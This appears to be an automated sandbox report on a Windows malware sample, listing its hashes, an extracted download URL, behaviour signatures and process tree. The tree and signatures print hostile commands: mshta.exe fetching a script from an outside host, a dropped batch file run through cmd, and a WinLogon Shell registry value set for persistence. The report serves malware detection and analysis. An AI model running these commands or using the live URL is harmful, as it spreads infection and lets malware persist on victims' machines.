Analysis
-
max time kernel
8s -
max time network
9s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
26/08/2024, 04:34
Behavioral task
behavioral1
Sample
c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe
Resource
win10v2004-20240802-en
Errors
General
-
Target
c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe
-
Size
695KB
-
MD5
c24a94fc9f372a5e6b490ad971aaf81b
-
SHA1
3d04b58f45c4818b73e689b42bcf4b561e8c575f
-
SHA256
594ed688f479bc7c74a755ebd6555f65a55d63c5d82342d0df32cfac9560d0f6
-
SHA512
204bcdcff335f894d20ae70ad917c54e862f28ca9166e6d0d9f3f1e1c75dbaf3b0dd573aa6dbcb3d68eb1693deb5bdb4e508e94ba41d2c70bbe39b74fd042eee
-
SSDEEP
12288:mzCXl6eEblXIh6Yo8Gvp9gw5PlsOnmVNuWq1iVd7LvXEguiU731bBdT:516eEbRIhPC9bvmOyv0JT
Malware Config
Extracted
http://lastreporteriche.com/inst.php?id=02956
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe" c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe -
resource yara_rule behavioral1/memory/2708-0-0x0000000000400000-0x00000000006E9000-memory.dmp upx behavioral1/memory/2708-14-0x0000000000400000-0x00000000006E9000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeShutdownPrivilege 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2708 wrote to memory of 2808 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 31 PID 2708 wrote to memory of 2808 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 31 PID 2708 wrote to memory of 2808 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 31 PID 2708 wrote to memory of 2808 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 31 PID 2708 wrote to memory of 2832 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 32 PID 2708 wrote to memory of 2832 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 32 PID 2708 wrote to memory of 2832 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 32 PID 2708 wrote to memory of 2832 2708 c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe 32
Processes
-
C:\Users\Admin\AppData\Local\Temp\c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe"1⤵
- Modifies WinLogon for persistence
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://lastreporteriche.com/inst.php?id=029562⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2808
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\shire.bat" "2⤵
- System Location Discovery: System Language Discovery
PID:2832
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵PID:1812
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵PID:1864
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
260B
MD5c40bdc6dffec9e55d933fd8307f1c995
SHA151bfb57f92b0110a28c3eafb9c114945207f257e
SHA25648b0b050f15f0555bb03f479ebeca758617c391835a3c46035a3f8ad098a627a
SHA512f8c1a65969d240f118747fe0844103377bc8f25a4799034a2ed8f11cb601679c4454759102551493b22e44b4450cae28f02a15e14174a7da5c42e25ae3cb96f7